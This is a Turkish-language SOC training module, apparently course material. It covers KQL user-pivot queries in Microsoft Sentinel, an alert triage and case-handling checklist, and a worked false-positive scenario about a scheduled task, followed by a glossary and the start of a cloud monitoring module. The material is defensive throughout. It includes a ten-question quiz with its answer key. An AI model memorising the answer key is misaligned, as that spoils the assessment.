                                    Details=strcat(ResultType, " / ", tostring(Location), " / ", AppDisplayName)
                        ),
                        (
                          // 2. On-Prem / Local Loglar (AD Event ID 4624 vb.)
                          SecurityEvent
                          | where TimeGenerated > ago(LookbackHours)
                          | where EventID in (4624, 4625, 4648)
                          | where TargetUserName =~ TargetSam or SubjectUserName =~ TargetSam
                          | project TimeGenerated, 
                                    EventType=tostring(EventID), 
                                    Details=strcat(tostring(LogonType), " / ", tostring(WorkstationName), " / ", tostring(IpAddress))
                        ),
                        (
                          // 3. Uç Nokta Hareketleri (EDR / Process Creation)
                          DeviceProcessEvents
                          | where Timestamp > ago(LookbackHours)
                          | where AccountName =~ TargetSam
                          | project TimeGenerated=Timestamp, 
                                    EventType="ProcessCreate", 
                                    Details=strcat(DeviceName, " / ", FileName, " / ", ProcessCommandLine)
                        )
                        // Tüm verileri zaman sırasına göre diz
                        | order by TimeGenerated asc

Platform: Microsoft Sentinel / Microsoft Defender XDR verileriyle KQL çoklu tablo union sorgusu

Amaç: Şüpheli bir kullanıcının son 48 saatteki kimlik doğrulama, oturum açma ve uç nokta (endpoint) aktivitelerini farklı log kaynaklarını birleştirerek tek bir kronolojik zaman çizelgesinde analiz etmektir.

Beklenen çıktı:

Microsoft Sentinel - KQL User Pivot Investigation

let TargetUser = "testuser@example.org"; let TargetSam = "testuser"; let LookbackHours = 48h; union isfuzzy=true ( // Cloud Kimlik Giriş Logları SigninLogs | where TimeGenerated > ago(LookbackHours) | where UserPrincipalName =~ TargetUser | project TimeGenerated, EventType="SignIn", Details=strcat(ResultType, "/", tostring(Location), "/", AppDisplayName) ), ( // On-Prem Security Event Logları SecurityEvent | where TimeGenerated > ago(LookbackHours) | where EventID in (4624, 4625, 4648) | where TargetUserName =~ TargetSam or SubjectUserName =~ TargetSam | project TimeGenerated, EventType=tostring(EventID), Details=strcat(tostring(LogonType), "/", tostring(WorkstationName), "/", tostring(IpAddress)) ), ( // EDR Process Creation (Defender) DeviceProcessEvents | where Timestamp > ago(LookbackHours) | where AccountName =~ TargetSam | project TimeGenerated=Timestamp, EventType="ProcessCreate", Details=strcat(DeviceName, "/", FileName, "/", ProcessCommandLine) ) | order by TimeGenerated asc // --- KULLANICI PİVOT ANALİZ NOTLARI --- // [!] Strateji: Çok kaynaklı (Multi-source) veri birleştirme. Bu sorgu, bir saldırganın // VPN/Cloud girişinden başlayıp endpoint üzerindeki komut çalıştırma aşamasına kadar // geçen tüm süreci tek bir zaman çizelgesinde (timeline) görmeyi sağlar. // [!] Korelasyon: On-prem AD logları (SecurityEvent) ile Cloud loglarının (SigninLogs) // birleştirilmesi, "Hybrid Identity" yapılarında gerçekleşen sızıntıları yakalamak için kritiktir. // [!] Detaylandırma: strcat kullanımı ile her tabloya özel kritik veriler (IP, Device, // CommandLine) "Details" sütununda normalize edilerek analistin önüne sunulur.

Öğrenci çıktıda nereye bakmalı?

EventType=SignIn satırlarında Location alanı: birden fazla ülke var mı?
Giriş başarıları ve başarısızlıkları arasındaki örüntü.
ProcessCreate satırlarında beklenmedik process veya komut satırı.
Olay sayısının yoğunluğu: gece yarısı ani artış var mı?

Normal durum: Kullanıcının mesai saatlerinde tek lokasyondan başarılı girişler yapması, tanıdık uygulamalara erişmesi, standart iş process’leri çalıştırması.

Şüpheli durum: Beklenmedik lokasyondan giriş, giriş başarısızlıklarının ardından başarılı giriş, anormal process creation, ofis saatleri dışında yüksek aktivite.

Yanlış yapılandırma / veri kalitesi problemi: SecurityEvent tablosunda 4624 kayıtları gelmiyor olabilir; Windows audit policy’de Logon/Logoff olaylarının toplandığı kontrol edilmelidir. SigninLogs boş geliyorsa Entra ID connector’ı SIEM’e bağlı olmayabilir. DeviceProcessEvents tablosu Microsoft Defender XDR Advanced Hunting şemasında process creation olayları için kullanılır ve zaman alanı Timestamp olarak geçer; Sentinel’e aktarılmış ortamlarda şema farklılaşabileceği için alan adları üretim sorgusuna alınmadan önce doğrulanmalıdır.

Bu sorgu kullanıcı pivot’un operasyonel karşılığıdır. Investigation sırasında “bu kullanıcı ne yaptı?” sorusunu üç farklı veri kaynağından tek akışa getirerek yanıtlar.

Uygulama / Kontrol Listesi

Alarm Triajı, Investigation ve Vaka Yönetimi Kontrol Listesi

Hazırlık

SIEM, EDR, case management ve kimlik platformuna erişim sağlandı.
Alarm kuyruğunda bekleyen vakalar ve öncelik sırası gözden geçirildi.
Güncel IT change management listesine erişim mevcut (planlı bakım ve değişiklikler).
Kurumun varlık envanteri (CMDB) ve kullanıcı dizinine erişim hazır.

Kontrol Adımları

1. İlk triaj — alarmı oku

Alarm adı, severity ve confidence okundu.
Etkilenen varlık (hostname, IP) not alındı.
Alarm tetiklenme zamanı UTC olarak not alındı.
Alarmın kaynağı (EDR, SIEM kuralı, network, identity) belirlendi.
Asset criticality kontrol edildi: Kritik sistem mi?

2. Bağlam zenginleştirme

Kullanıcı bağlamı: departman, yetki seviyesi, normal çalışma saatleri.
Varlık bağlamı: bu sistemde bu saatte bu kullanıcının bulunması bekleniyor mu?
Alarm aynı kullanıcı veya sistemden daha önce gelmiş mi?
IT change management’ta bu aktiviteyle ilgili kayıt var mı?
Enrichment çıktısı varsa doğrulandı mı, yoksa yalnızca bağlam olarak mı kullanıldı?

3. Investigation — pivoting

Kullanıcı pivot: bu kullanıcının son 24-48 saatteki diğer aktiviteleri neler?
Host pivot: bu sistemde başka alarm var mı, ne zaman?
Network pivot: alarm tetikleyen bağlantı veya süreçten dış bağlantı kurulmuş mu?
Process pivot: aynı komut/process başka sistemlerde de görülmüş mü?
Zaman çizelgesi: ilk sinyalden mevcut ana kadar sıralı olaylar.

4. Karar noktaları

True positive mı, false positive mı, benign true positive / expected activity mi? Karar kanıta dayalı mı?
Henüz doğrulanmadıysa “suspicious / under investigation” olarak mı tutulmalı?
Scope: kaç kullanıcı, kaç sistem etkilenmiş olabilir?
Eskalasyon kriterleri kontrol edildi mi: lateral movement, credential compromise, kritik sistem etkisi, aktif saldırı, veri sızıntısı şüphesi var mı?

5. Vaka oluşturma ve not yazma

Vaka açıldı ve sahip atandı.
Timeline kaydedildi (UTC zaman damgalarıyla).
Kanıtlar vaka kaydına eklendi: SIEM sorgu çıktısı, EDR process tree, ilgili log kesimleri.
Hassas veri varsa kurum politikasına göre maskelendi veya erişimi kısıtlandı.
Açık belirsizlikler ayrı başlık altında yazıldı.
Kapanış kodu doğru seçildi veya eskalasyon kararı alındı.

Doğrulama

Vaka notu başka bir analist tarafından takip edilebilir mi?
Kanıt yeterli mi? “Bunu neden söylüyorsun?” sorusuna yanıt veriyor mu?
False positive kararı veriliyorsa buna dayanan somut gerekçe var mı?
Benign true positive / expected activity kararı veriliyorsa change kaydı, varlık sahibi teyidi veya belgelenmiş iş süreci var mı?
Eskalasyon yapılıyorsa handoff paketi eksiksiz mi?

Kanıt Notu

Vaka kaydına şunlar eklenmiş olmalı:

Alarm ID ve tetiklenme zamanı (UTC).
Etkilenen hostname, kullanıcı adı, IP.
SIEM sorgu çıktısı veya EDR alarm ekran görüntüsü.
Timeline (tablo veya madde listesi formatında).
IT change management ekran görüntüsü (kayıt varsa veya yoksa).
Açık belirsizlikler listesi.
Containment önerisi ve dayandığı kanıt.

Geri Dönüş / Dikkat Edilmesi Gerekenler

SOAR enrichment çıktısı var ama doğrulanmadıysa kanıt olarak değil bağlam olarak kullan.
Duplicate alarm kontrolü yapılmadıysa aynı vaka iki kez açılmış olabilir; kontrol et.
Eskalasyon kararı geciktirilmişse ve saldırı devam ediyorsa her dakika önemlidir; içgüdüyü kanıta çevir, ama kritik risklerde beklemede kalma.
Kapanış kodunun yanlış seçilmesi false positive oranı gibi SOC metriklerini bozar; doğru sınıflandırmaya dikkat et.
Hassas log veya kanıtları herkesin görebileceği vaka notuna kontrolsüz ekleme.

Operasyonel Senaryo

Senaryo: Escalation mı, False Positive mi? Servis Hesabından Gelen Scheduled Task Alarmı

Belirti

Saat 14:33 UTC’de SIEM’de “Scheduled Task Created — Suspicious Binary Path” alarmı tetiklendi. Etkilenen sistem: SRV-LOG01 (log yönetim sunucusu). Alarm kaynağı: Windows Security Event ID 4698 — Scheduled Task Created. Görev oluşturan kullanıcı: svc_backup. Görevin çalıştırdığı binary: C:\ProgramData\LogCollect\lc_sched.exe.

Event ID 4698, Windows Security Log tarafında yeni scheduled task oluşturulduğunda üretilen olaydır ve Audit Other Object Access Events alt kategorisiyle ilişkilidir. Mevcut görevlerin güncellenmesi veya silinmesi gibi farklı scheduled task değişiklikleri için 4699, 4700, 4701 ve 4702 gibi olaylar da değerlendirilmelidir.

İlk Düşünce

svc_backup, adından da anlaşılacağı üzere muhtemelen bir backup servis hesabı. Bu hesabın bir scheduled task oluşturması beklenebilir; ancak ProgramData dizininde lc_sched.exe adlı bir binary şüpheli görünebilir. İlk refleks “bu backup ajanının yarattığı bir görev” demek kolay olabilir; ama bunu kanıtlamak gerekiyor.

Kontrol Edilecek Noktalar

lc_sched.exe binary’si imzalı mı? Kim tarafından imzalanmış?
Bu dosya daha önce kurumda görülmüş mı? File hash SIEM’de bilinir mi?
svc_backup hesabı normalde hangi servisi yönetiyor? IT dokümantasyonunda kayıtlı mı?
IT change management’ta bu gün için planlı bir backup agent güncellemesi veya kurulumu var mı?
lc_sched.exe çalışmaya başladı mı? Eğer öyleyse ne yaptı?
Scheduled task yalnızca oluşturuldu mu, yoksa mevcut bir görev mi güncellendi? 4702 gibi ilgili event’ler var mı?

Kullanılacak Log / Telemetri Kaynakları

Windows Security Event ID 4698 — scheduled task creation, görev detayları.
Windows Security Event ID 4702 — scheduled task update, mevcut görev değişikliği ihtimali için.
EDR — lc_sched.exe dosya hash’i, imza durumu, binary yaşı.
EDR — lc_sched.exe çalışıp çalışmadığı, çalışıyorsa process tree ve ağ bağlantısı.
SIEM — lc_sched.exe hash’inin kurumda daha önce görülüp görülmediği.
IT change management — bu günkü planlı değişiklikler.
Asset inventory / AD — svc_backup hesabının tanımı ve yönettiği servis.

Bakılacak Alanlar

Windows Security Event ID 4698: TaskName, TaskContent / EventData (çalıştırılan binary yolu ve argümanlar).
EDR: file_hash (SHA256), file_signature, file_signature_status, file_creation_time.
EDR process: process_name, parent_process, command_line, user, network_connections.
AD: svc_backup account description, member of, last password change.
Case history: Bu sistem veya hesap daha önce aynı alarmı üretmiş mi?

SIEM Investigation - Scheduled Task Audit [SRV-LOG01]

PS C:\Windows\system32> # Event ID 4698: Yeni Zamanlanmış Görev Tespiti PS C:\Windows\system32> Get-WinEvent -FilterHashtable @{LogName='Security';ID=4698} -MaxEvents 1 | Select-Object -ExpandProperty Message Task Name: \LogCollect_Daily_Sync Command: C:\ProgramData\LogCollect\lc_sched.exe SubjectUser: svc_backup

PS C:\Windows\system32> # EDR Binary Analizi ve İmza Doğrulama PS C:\Windows\system32> Get-AuthenticodeSignature "C:\ProgramData\LogCollect\lc_sched.exe" | Select Status, SignerCertificate Status: Valid Signer: LogCollect Systems Ltd. Hash: a3f9b2e1c4d5... (Previously seen in environment)

PS C:\Windows\system32> # Kurumsal Bağlam Kontrolü (Change Management) PS C:\Windows\system32> query change_management_db --ticket "CHG-2024-0317" Ticket ID: CHG-2024-0317 Description: Update LogCollect Agent to v2.4.1 on SRV-LOG01 Status: Approved / In-Progress (14:00 - 16:00 UTC) # --- ANALİZ VE KAPANIŞ NOTLARI --- # [!] Karar: False Positive / Benign Expected Activity. # [!] Neden: İşlem, onaylı bir güncelleme (CHG-2024-0317) kapsamında, meşru bir # servis hesabı tarafından, geçerli imzalı bir binary ile yapılmıştır. # [!] Aksiyon: lc_sched.exe ve LogCollect imzası, gürültüyü azaltmak adına # dar kapsamlı bir allowlist'e eklenmelidir. Sonuç: VAKA KAPATILDI (Meşru Güncelleme) İnceleyen: Tier 1 SOC Analyst

Amaç: Servis hesabı (svc_backup) tarafından oluşturulan şüpheli bir zamanlanmış görevi; dijital imza doğrulaması, hash geçmişi ve IT Değişim Yönetimi (Change Management) kayıtları ile çapraz sorgulayarak "False Positive" kararı vermektir.

Toplanacak Kanıt

Windows Security Event ID 4698 içeriği (tam görev XML veya ilgili EventData alanları).
lc_sched.exe SHA256 hash değeri.
Binary imza durumu (imzalı/imzasız).
Binary oluşturulma tarihi (dosya metadata).
IT change management ekran görüntüsü (kayıt var/yok).
svc_backup hesap bilgileri (AD açıklaması, grup üyeliği).
EDR process tree ve ağ bağlantısı özeti.

Analiz

EDR üzerinde lc_sched.exe incelendiğinde: İmza durumu: Geçerli imzayla imzalanmış. İmza sahibi: “LogCollect Systems Ltd.” Hash: SHA256 = a3f9b2e1c4d5... SIEM’de daha önce görülmüş: 3 ay önce aynı binary başka backup sunucusuna da yüklenmiş, o sırada alarm üretmemiş. Dosya oluşturma tarihi: 14:28 UTC — alarm tetiklenmeden 5 dakika önce.

IT change management’ta bulgu: “14:00-16:00 UTC — SRV-LOG01’de LogCollect v2.4.1 güncellemesi. Onaylayan: IT Lead. Bilet: CHG-2024-0317.”

lc_sched.exe çalışmaya başladı mı? EDR’de 14:35 UTC’de çalışmaya başlamış. Process tree: services.exe → lc_sched.exe. Ağ bağlantısı: iç ağda log yönetim konsoluna (10.10.20.100:8443) bağlanıyor. Dış bağlantı yok.

False Positive İhtimali

Bu senaryoda false positive ihtimali son derece yüksektir. Kanıtların tamamı bunu destekliyor: IT change management’ta planlı güncelleme kaydı var, binary geçerli imzayla imzalanmış, hash kurumda daha önce görülmüş ve çalıştığında yalnızca iç log konsoluna bağlanıyor.

Alarm doğru çalıştı — bir scheduled task oluşturuldu ve binary path kuruma yeni veya dikkat çekici göründü; bu kural mantığı açısından makul. Ancak bağlam bu alarmı açıkça benign true positive / expected activity olarak sınıflandırıyor.

Escalation Gerekir mi?

Hayır. Bu vaka eskalasyon gerektirmiyor. Ancak bir adım atılmalı: bu scheduled task, lc_sched.exe hash’i ve “LogCollect Systems Ltd.” imzası, gelecekteki alarmları önlemek için detection kuralının kontrollü allowlist değerlendirmesine alınmalıdır.

Ayrıca IT change management entegrasyonu değerlendirilmeli: Planlı değişiklikler SIEM’de bir context kaydı olarak tutulabilseydi, bu alarm açılır açılmaz bağlamı hazır gelirdi. Bu, hem analiz süresini hem de false positive / expected activity kapanma hızını iyileştirir.

Karar

Vaka kapatılıyor. Kapanış kodu: Benign True Positive / Expected Activity. Detection improvement notu: lc_sched.exe SHA256 hash’i, LogCollect Systems Ltd. imzası ve ilgili scheduled task adı, scheduled task creation kuralının allowlist/tuning değerlendirmesine eklenmeli. Allowlist kararı, yalnızca bu binary’nin imzası, hash’i, beklenen kurulum yolu ve onaylı değişiklik kaydı ile birlikte geçerli olacak şekilde dar kapsamlı tasarlanmalıdır.

Bulgu → Etki → Öneri → Kanıt

Bulgu: 15 Mart 2024, 14:33 UTC’de SRV-LOG01 üzerinde svc_backup hesabı tarafından lc_sched.exeyi çalıştıran yeni bir scheduled task oluşturuldu. Binary imzalı ve daha önce kurumda görülmüş. IT change management’ta aynı zaman dilimine denk gelen LogCollect v2.4.1 güncellemesi kaydı (CHG-2024-0317) mevcut.

Etki: Bu aktivite planlı bir yazılım güncellemesinin beklenen davranışıdır. Güvenlik riski tespit edilmedi.

Öneri:
Vaka “Benign True Positive / Expected Activity” olarak kapat.
lc_sched.exe SHA256 hash’ini, imza bilgisini ve görev adını scheduled task detection kuralının dar kapsamlı allowlist/tuning sürecine ekle.
Detection engineering talebi aç.
IT change management verilerinin SIEM enrichment’a entegrasyonunu değerlendir; planlı değişiklikler bağlam kaydı olarak kullanılabilir.
4698’e ek olarak mevcut scheduled task değişiklikleri için 4702 gibi event’lerin de detection kapsamına alınıp alınmadığını kontrol et.

Kanıt: Windows Security Event ID 4698 — görev detayları (binary path, zaman). EDR — lc_sched.exe hash (imzalı, daha önce görülmüş). IT Change Record CHG-2024-0317 (ekran görüntüsü vaka kaydında). EDR process: lc_sched.exe yalnızca iç log konsoluna bağlanıyor.

Kendini Değerlendir — Vaka Yönetimi ve Handoff

Aşağıdaki 10 soru modül kazanımlarını ölçer. Her soru için en iyi cevabı seçin ve Testi Gönder düğmesine basın.

1) Bir stajyer «Ticket yaşam döngüsü» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Yalnızca yöneticiler bilir

B) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

C) Araç adı yeterlidir

D) Sadece sınavda sorulursa öğrenilir

Doğru: B
Gerekçe: «Ticket yaşam döngüsü» uygulama ve risk bağlamı olmadan anlamlı değildir.

2) Bir stajyer «Severity atama kriterleri» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Sadece sınavda sorulursa öğrenilir

B) Araç adı yeterlidir

C) Yalnızca yöneticiler bilir

D) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

Doğru: D
Gerekçe: «Severity atama kriterleri» uygulama ve risk bağlamı olmadan anlamlı değildir.

3) «IR ekibine eskalasyon» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Yalnızca antivirüs imzasını güncellemek

B) İnterneti kalıcı kapatmak

C) IR ekibine eskalasyon için tanımlı kontrolü devreye almak ve süreci dokümante etmek

D) Tüm logları silmek

Doğru: C
Gerekçe: Eksik kalan «IR ekibine eskalasyon» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

4) Yasal sınır ihlali şüphesi doğdu. Ekip ne yapmalı?

A) Hukuk/uyum ile koordine, kapsam dışı aksiyondan kaçınma

B) Sosyal medyada paylaşım

C) Varsayılan parolaları deneme

D) Sessizce devam

Doğru: A
Gerekçe: Yasal çerçeve dışı faaliyet kabul edilemez.

5) Bir stajyer «İletişim şablonları» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Yalnızca yöneticiler bilir

B) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

C) Araç adı yeterlidir

D) Sadece sınavda sorulursa öğrenilir

Doğru: B
Gerekçe: «İletişim şablonları» uygulama ve risk bağlamı olmadan anlamlı değildir.

6) «SLA ihlali yönetimi» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Yalnızca antivirüs imzasını güncellemek

B) SLA ihlali yönetimi için tanımlı kontrolü devreye almak ve süreci dokümante etmek

C) Tüm logları silmek

D) İnterneti kalıcı kapatmak

Doğru: B
Gerekçe: Eksik kalan «SLA ihlali yönetimi» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

7) «Lessons learned» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Lessons learned için tanımlı kontrolü devreye almak ve süreci dokümante etmek

B) İnterneti kalıcı kapatmak

C) Tüm logları silmek

D) Yalnızca antivirüs imzasını güncellemek

Doğru: A
Gerekçe: Eksik kalan «Lessons learned» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

8) «Post-incident review» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) İnterneti kalıcı kapatmak

B) Yalnızca antivirüs imzasını güncellemek

C) Tüm logları silmek

D) Post-incident review için tanımlı kontrolü devreye almak ve süreci dokümante etmek

Doğru: D
Gerekçe: Eksik kalan «Post-incident review» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

9) Kritik bir CVE yayınlandı; exploit kodu kamuya düştü. Yama test ortamında doğrulandı. Üretimde gecikmenin ana riski nedir?

A) Bilinen açık penceresinde sistem exploit edilebilir

B) DNS TTL artar

C) Log formatı bozulur

D) MAC adresi değişir

Doğru: A
Gerekçe: Yama gecikmesi, exploit window süresini uzatır.

10) Denetimde «Handoff checklist» için kanıt isteniyor. Hangi çıktı en uygundur?

A) Politika, yapılandırma veya test sonucu ile uyum kanıtı

B) Sözlü «biliyoruz» ifadesi

C) Ekran görüntüsü olmadan varsayım

D) Başka modülün raporu

Doğru: A
Gerekçe: «Handoff checklist» denetlenebilir kanıt gerektirir.

Terimler Sözlüğü

Kategori	Terim	Türkçe Karşılığı / Teknik Açıklama
Triaj ve Önceliklendirme	Triaj	Alarmın ilk değerlendirmesi; gerçek tehdit mi, yanlış pozitif mi kararı.
	Severity / Priority	Severity: Teknik şiddet. Priority: İş/kurum önceliği.
	Confidence	Kuralın tespitten ne kadar emin olduğunu gösteren güven seviyesi.
	Alert Fatigue	Yüksek hacimli alarmların analist dikkatini ve karar kalitesini aşındırması.
Vaka Sınıflandırma (Closing Codes)	False Positive	Zararsız bir davranışın tehdit olarak hatalı işaretlenmesi.
	True Positive	Gerçekten şüpheli veya zararlı bir davranışın doğru yakalanması.
	Benign True Positive	Teknik olarak doğru tespit ancak kurumca izinli/meşru aktivite.
	Expected Activity	Planlı/onaylı aktivite; Change kaydı veya varlık sahibi teyidi ile doğrulanır.
Analiz ve İnceleme Metotları	Entity Pivoting	Varlık (User, Host, IP) üzerinden olayları genişleterek analiz yapma.
	Timeline / Scope	Timeline: Kronolojik akış. Scope: Etki alanı (etkilenen sistem sayısı).
	Root Cause	Olayın başlangıç noktası ve temel nedeni (Kök Neden).
	Impossible Travel	Kısa sürede fiziki olarak imkansız iki coğrafi noktadan erişim anomalisi.
Otomasyon ve Süreç (SOAR)	SOAR	İş akışlarını otomatize eden ve araçları birbirine bağlayan platform.
	Playbook / Runbook	Playbook: Otomatik iş akışı. Runbook: Manuel operasyon prosedürü.
	Enrichment	Alarm bağlamını otomatik veri toplama ile zenginleştirme (IP Reputasyon vb.).
	Response Otomasyonu	Host isolation veya account disable gibi yüksek riskli otomatik aksiyonlar.
Olay Müdahale (IR/DFIR)	SOC-IR Handoff	SOC’un analiz paketini (Handoff Paketi) IR ekibine temiz bir şekilde devretmesi.
	Chain of Custody	Adli bilişimde kanıtın toplanma ve saklanma izlenebilirlik zinciri.
	Lessons Learned	Olay sonrası öğrenme değerlendirmesi; "ne iyileştirilmeli?" analizi.
	Containment Önerisi	SOC'un sunduğu kanıta dayalı izolasyon ve engelleme önerileri.
Teknik Referanslar	Event ID 4698 / 4702	Zamanlanmış görev (Scheduled Task) oluşturma ve güncelleme kayıtları.
	TEST-NET	Dokümantasyon için ayrılmış RFC 5737 IP blokları (Örn: 192.0.2.0/24).
	Queue Health	SOC kuyruğunun sağlık durumu; SLA ve bekleyen vaka metrikleri.

Bu Modülde Kazanılan Yetkinlikler

Triaj kararını bağlama dayandırabilir. Bir alarm geldiğinde yalnızca severity değerine bakmak yerine; etkilenen varlığın kritikliğini, kullanıcının bağlamını, alarm zamanını ve mevcut enrichment bilgisini birlikte değerlendirerek gerçek önceliği belirler. “En yüksek severity değerine bak” yerine “bu alarm kurumun riski açısından ne anlama geliyor?” sorusunu sorar.
True positive, suspicious, false positive ve benign true positive / expected activity arasındaki farkı kanıtla ayırt edebilir. “Bu muhtemelen false positive” ile “IT change management kaydı var, binary imzalı ve hash daha önce görülmüş; bu benign true positive / expected activity” ifadesi arasındaki farkı bilir ve kapanış kodunu doğru seçer.
Investigation akışını sistematik yürütür. Entity pivoting ile alarmı kullanıcı, host, network ve process üzerinden genişletir. Scope’u belirler, timeline çıkarır ve belirsizlikleri dürüstçe kayıt altına alır. “Araştırdım ama yanıtlayamadım” demekten çekinmez.
Vakayı kaliteli biçimde yönetir. Standart vaka notu yazar; zaman bilgisi, kanıt ve açık belirsizlikleri içerir. Başka bir analist vakayı devraldığında 60 saniyede ne olduğunu anlayabilir.
SOAR otomasyonunu doğru okur ve doğru güvenir. Enrichment otomasyonunun kararı kendisine hazırladığını değil, kararın altyapısını kurduğunu bilir. Response otomasyonlarının riskini değerlendirir; kanıt olmadan yüksek etkili aksiyonun iş sürekliliğine zarar verebileceğini kavrar.
SOC-IR handoff’ını eksiksiz hazırlar. Hangi koşullarda IR’a aktarım gerektiğini bilir. Handoff paketinde timeline, etkilenen varlıklar, kanıtlar, açık belirsizlikler, hassas veri notu ve containment önerisinin yer alması gerektiğini uygular. IR ekibinin “bu neydi?” diye dönmesini önleyen kalitede bir devir yapar.
DFIR uzmanı olması beklenmese de temel forensik farkındalığın gerekli olduğunu bilir. Hangi aksiyonun kanıtı bozabileceğini, ne zaman memory/disk forensics gerektiğini ve kanıtın nasıl korunarak aktarılması gerektiğini kavrar.

MODÜL 7 — Cloud SOC ve Hibrit Ortam İzleme

Modül Teması

Cloud Telemetri

CloudTrail, Activity Log, Audit Log.

Identity-First

Cloud'da kimlik = yeni perimeter.

Hibrit İzleme

On-prem + multi-cloud korelasyon.

Kurumların büyük bölümü artık salt on-prem yapıda çalışmıyor; iş yükleri AWS, Azure veya GCP üzerinde koşuyor, kimlik servisleri SaaS platformlarıyla entegre oluyor, geliştirme süreçleri konteyner ve Kubernetes cluster’larıyla yürütülüyor. SOC bu dönüşümün gerisinde kalırsa görünürlük boşluğu, tespit gecikmesi ve false negative oranı doğrudan artar. Bu modül, bulut ortamının SOC analisti için ne anlama geldiğini, on-prem görünürlükten neden yapısal olarak farklılaştığını ve bu farklılığa nasıl uyum sağlanacağını operasyonel bakışla ele alır.

Modülün odağı üç ana eksen üzerine kuruludur: cloud görünürlüğü, cloud kimlik odaklı tespit ve hibrit korelasyon. Cloud görünürlüğü tarafında hangi kaynakların, hangi alanların ve hangi log türlerinin kritik olduğu ele alınır. Cloud kimlik odaklı tespit tarafında IAM anomalileri, access key kötüye kullanımı, MFA bypass sinyalleri, service account abuse ve cloud persistence davranışları incelenir. Hibrit korelasyon tarafında ise endpoint sinyaliyle cloud audit loglarını birleştirerek olayın tamamını görme yaklaşımı öğretilir.

Container ve Kubernetes güvenliği, giderek daha fazla SOC ekranına düşen runtime alert’ler nedeniyle ayrı bir başlık olarak işlenecek; ancak derinlikli platform mühendisliğine girilmeyecektir. Amaç, öğrencinin Kubernetes audit log veya Falco benzeri runtime alarmını gördüğünde “bu ne anlama geliyor, hangi bağlamda araştırılmalı, hangi loglarla korele edilmeli?” sorularına yanıt verebilmesidir.

Temel eğitimde log kavramı, genel alarm yapısı ve SIEM temelleri işlendi. Bu modül o bilgiyi cloud-native telemetri, API-centric audit logları, SaaS aktiviteleri ve hibrit ortam korelasyonuyla derinleştirir. Öğrenci modülün sonunda bir cloud alarm ya da log kaydını yalnızca teknik içerik olarak değil; “kim yaptı, hangi kaynak üzerinde yaptı, hangi privilege bağlamında yaptı, hangi ortamdan yaptı ve bu davranış o kimlik için normal mi?” sorularına cevap verecek şekilde okuyabilir hâle gelmelidir.

Bu Modülde Hedeflenen Kazanımlar

Öğrenci bu modül sonunda:

Cloud ortamında görünürlüğün on-prem yapıdan neden yapısal olarak farklılaştığını, shared responsibility modelinin SOC’a getirdiği sorumluluğu ve control plane / data plane ayrımının log analizi açısından önemini açıklayabilecek.
AWS CloudTrail, AWS GuardDuty, AWS Security Hub, Azure Activity Logs, Microsoft Entra ID Sign-in Logs, GCP Audit Logs ve SaaS platform loglarının hangi saldırı sinyallerini taşıdığını, hangi alanların kritik olduğunu ve SOC akışında nasıl kullanılacağını değerlendirebilecek.
Cloud IAM ortamındaki olağan dışı oturum açma davranışlarını, impossible travel sinyalini, yetki yükseltme davranışlarını, access key kötüye kullanımını, service account abuse senaryolarını ve MFA bypass girişimlerini log düzeyinde fark edebilecek.
Container runtime event’lerini ve Kubernetes audit loglarını SOC perspektifinden okuyarak privileged container, secret erişimi, pods/exec davranışı ve ClusterRoleBinding gibi kritik sinyalleri tespit edebilecek.
Endpoint, cloud identity, network ve email verilerini aynı olayın farklı boyutları olarak birleştirebilecek; hibrit ortamda timeline oluşturarak olayın tamamına bakabilecek.
Cloud SOC’ta false positive yönetiminde CI/CD hesapları, otomasyon servisleri ve yönetici işlemlerini nasıl ayırt edeceğini açıklayabilecek.
Multi-cloud ortamda farklı log formatları, farklı servis adları ve farklı API yapılarının yarattığı SOC zorluklarını değerlendirerek normalizasyon ve korelasyon ihtiyacını ortaya koyabilecek.
Cloud detection engineering bağlamında API davranışlarını tespit mantığına dönüştürebilecek ve cloud persistence sinyallerini tanımlayabilecek.

7.1 Cloud SOC Mantığını ve Bulut Görünürlüğünü Anlama

7.1.1 Cloud Ortamda Görünürlük Farkı

On-prem SOC operasyonunda görünürlük çoğunlukla iki katmanda şekillenir: endpoint telemetry ve ağ trafiği. EDR, Sysmon, Windows Event Logs, firewall, proxy ve IDS gibi kaynaklar saldırgan davranışını işletim sistemi veya ağ bağlantısı üzerinden görünür kılar. Saldırganın bir sisteme girmesi, orada hareket etmesi ve bir şeyler yapması; işletim sistemi loglarına, process telemetry’ye veya ağ bağlantısına iz bırakmak zorundadır. Bu katmanlar olgunlaştığında analist görece iyi bir kapsama alanına sahip olabilir.

Cloud ortamında bu denklem köklü biçimde değişir. Bir saldırgan EC2 instance’ına fiziksel olarak erişmeden, yalnızca bir IAM kullanıcısının access key’ini ele geçirerek AWS API üzerinden birçok yönetim veya veri erişim işlemi yapabilir. Bir storage bucket’tan nesneleri indirebilir, yeni bir Lambda function oluşturabilir, IAM policy değiştirebilir veya bir role trust policy’sini güncelleyebilir. Bunların hiçbiri klasik endpoint telemetrisine düşmeyebilir. Cloud ortamında görünürlüğün merkezi çoğu zaman API çağrısı ve bu çağrıyı kaydeden audit logdur.

